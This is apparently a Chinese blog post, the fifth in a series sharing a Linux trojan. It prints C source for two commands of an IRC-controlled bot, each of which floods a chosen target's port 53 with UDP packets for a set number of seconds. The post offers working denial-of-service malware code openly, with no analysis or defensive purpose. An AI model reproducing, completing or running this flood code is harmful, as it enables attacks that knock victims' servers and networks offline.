Linux 下一木马程序分享(5)

/* only on port 53 */
void unknown3(int sock, char *sender, int argc, char **argv) {
        int flag=1,fd,i;
        unsigned long secs;
        char *buf=(char*)malloc(9216);
        struct hostent *hp;
        struct sockaddr_in in;
        time_t start=time(NULL);
        if (mfork(sender) != 0) return;
        if (argc < 2) {
                Send(sock,"NOTICE %s :UNKNOWN <target> <secs>\n",sender);
                exit(1);
        }
        secs=atol(argv[2]);
        memset((void*)&in,0,sizeof(struct sockaddr_in));
        in.sin_addr.s_addr=host2ip(sender,argv[1]);
        in.sin_family = AF_INET;
        Send(sock,"NOTICE %s :UDO53 %s.\n",sender,argv[1]);
        while(1) {
                in.sin_port = 53;
                if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
                else {
                        flag=1;
                        ioctl(fd,FIONBIO,&flag);
                        sendto(fd,buf,9216,0,(struct sockaddr*)&in,sizeof(in));
                        close(fd);
                }
                if (i >= 50) {
                        if (time(NULL) >= start+secs) break;
                        i=0;
                }
                i++;
        }
        close(fd);
        exit(0);
}
/* high pps port 53 */
void unknown4(int sock, char *sender, int argc, char **argv) {
        int flag=1,fd,i;
        unsigned long secs;
        char *buf=(char*)malloc(56);
        struct hostent *hp;
        struct sockaddr_in in;
        time_t start=time(NULL);
        if (mfork(sender) != 0) return;
        if (argc < 2) {
                Send(sock,"NOTICE %s :UNKNOWN <target> <secs>\n",sender);
                exit(1);
        }
        secs=atol(argv[2]);
        memset((void*)&in,0,sizeof(struct sockaddr_in));
        in.sin_addr.s_addr=host2ip(sender,argv[1]);
        in.sin_family = AF_INET;
        Send(sock,"NOTICE %s :UDP53:56 %s.\n",sender,argv[1]);
        while(1) {
                in.sin_port = 53;
                if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
                else {
                        flag=1;
                        ioctl(fd,FIONBIO,&flag);
                        sendto(fd,buf,56,0,(struct sockaddr*)&in,sizeof(in));
                        close(fd);
                }
                if (i >= 50) {
                        if (time(NULL) >= start+secs) break;
                        i=0;
                }
                i++;
        }
        close(fd);
        exit(0);
}

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://127.0.0.1/wyyszz.html